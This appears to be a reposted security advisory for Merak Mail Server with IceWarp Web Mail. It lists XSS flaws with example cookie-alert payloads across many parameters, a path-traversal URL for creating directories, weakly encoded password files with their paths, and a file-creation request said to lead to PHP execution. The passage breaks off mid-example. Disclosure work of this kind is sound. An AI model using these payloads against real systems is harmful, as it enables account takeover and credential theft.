信息来源：hk20.com
Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server, cutting-edge
Merak Mail Server Instant Antispam and much more, is the fastest, most stable, secure and
100% virus free mail server on the market today.
Every day companies choose Merak Mail Server's stability, speed, security,
functionality, scalability and multi-tiered delegated manageability over products costing
thousands of dollars more yet lacking the sophistication that Merak delivers.
In less than 10 minutes you can have the same professional email server that organizations
such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and many ISP Providers
and Developers depend on every day.
Source:
www.MerakMailServer.com
VULNERABLE PRODUCTS
MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8
MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3, #4 only)
DETAILS
1. Multiple cross-site scripting (XSS) vulnerabilities.
Description: Remote user, who HAS active session on Merak Mail Server, can execute
cross-site scripting (XSS) attack.
Vulnerable pages:
send.html
attachment.html
folderitem.html
Examples:
http://localhost:32000/mail/send.html?id=[sessionid]&redirectfile="><sc
ript>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Folder="><scri
pt>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&Old_Message="><scr
ipt>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&xwritesentcopy="><
script>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&returnreceipt="><s
cript>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&forwardfile="><scr
ipt>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&writepriority="><s
cript>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]©folder="><scri
pt>alert(document.cookie)</script>
http://localhost:32000/mail/send.html?id=[sessionid]&messageid="><scrip
t>alert(document.cookie)</script>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_error=&
amp;lt;script>alert(document.cookie)</script>
http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_title=&
lt;/title><script>alert(document.cookie)</script>
http://localhost:32000/mail/folderitem.html?id=[sessionid]&folderold="><
;script>alert(document.cookie)</script> (“Outlook
like” skins are not vulnerable)
2. Arbitrary direction creation on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can create
arbitrary directories on local file system of the target.
Vulnerable page: viewaction.html
Example:
http://localhost:32000/mail/viewaction.html?id=[sessionid]&folder=../.../../../../../.
./[arbitary directory]&Move_x=1&originalfolder=blabla
Note: single logical drive on remote system is affected because relative paths are used
3. Simple encryption of users passwords.
Description: Very simple encryption of users passwords in users.cfg, settings.cfg (XOR),
users.dat, user.dat (BASE64). If attacker got access to this files then he could take
users and administrators passwords.
Vulnerable files:
[MerakDir] \config\settings.cfg
[MerakDir] \config\ [DomainName] \users.cfg
[MerakDir] \webmail\config\users.dat
[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.
4. File creation with arbitrary content on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can create text
file on Merak Mail Server with arbitrary content (include special characters). Name of
file will be accounts.dat. Combining this vulnerability with vulnerability #7 attacker
could executed arbitrary PHP code.
Vulnerable page: accountsettings_add.html
Example:
http://localhost:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&accou
nt
ss_contacts@hotmail.com
